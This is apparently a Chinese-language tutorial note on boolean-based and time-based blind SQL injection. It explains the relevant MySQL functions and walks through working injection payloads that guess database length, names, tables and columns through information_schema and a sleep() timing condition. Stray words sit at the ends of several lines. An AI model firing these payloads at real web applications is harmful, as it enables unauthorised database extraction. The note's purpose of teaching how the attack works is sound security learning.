布爾注入定義及原理:
所謂盲注就是在服務器沒有錯誤回顯的時候完成注入攻擊。
盲注分爲布爾盲注和時間盲注
布爾盲注:boolean 根據注入信息返回true or fales 沒有任何報錯信息
時間盲注:界面返回值ture 不管輸入任何值,返回的狀況都是正常的來處。加入特定的時間函數,經過查看web頁面返回的時間差來判斷注入的語句是否正確。web
布爾注入經常使用函數sql
length(str):返回str字符串的長度。 substr(str, pos, len):將str從pos位置開始截取len長度的字符進 行返回。注意這裏的pos位置是從1開始的,不是數組的0開始 mid(str,pos,len):跟上面的同樣,截取字符串 ascii(str):返回字符串str的最左面字符的ASCII代碼值。 ord(str):同上,返回ascii碼 if(a,b,c) :a爲條件,a爲true,返回b,不然返回c,如if(1>2,1,0),返回0
過程數據庫
1.首先咱們須要判斷數據庫長度 ' or Length(database()) = 8 #返回true說明數據庫長度爲8 2.獲取數據庫名字 ' or ord(mid(database(),1,1)) ='ascill值'# 依次獲取 3.獲取表的總數 ' or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() )= 2# 4.獲取表的長度(第一個表) ' or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1 )= (猜想得長度)# 5.獲取表的內容 ' or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),1,1) = 'a' # 6.獲取表的字段的總數 ' or (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=表名 ) = 8#8返回true說明有8個表 依次類推,最後推出內容。由於是盲猜因此只能這樣一個一個去推手工比較麻煩 一般使用sqlmap進行注入
延時注入
要是頁面都返回false咱們就只能用if和sleep函數判斷是ture仍是false
正確就延遲n秒返回,錯誤就0s返回數組
id=2 and Sleep( if( (SELECT count(SCHEMA_NAME) FROM information_schema.SCHEMATA) = 7 ,0,5 ) )好像這個是說若是數據庫總數等於7的話0s返回不然5s
其餘操做就跟布爾注入同樣,走布爾思路就好了。服務器
整體思路 獲取數據庫的總數 獲取別的數據庫長度 獲取別的數據庫名字 獲取當前數據庫長度 獲取當前數據庫內容 獲取當前數據庫表的總數 獲取當前數據庫表的長度 獲取當前數據庫表的內容 獲取當前數據庫表的字段總數 獲取當前數據庫表的字段第2個長度 獲取當前數據庫表的字段第N個內容 獲取內容
暫時總結到這裏,布爾的話藉助工具跑比較方便,手注太麻煩了。函數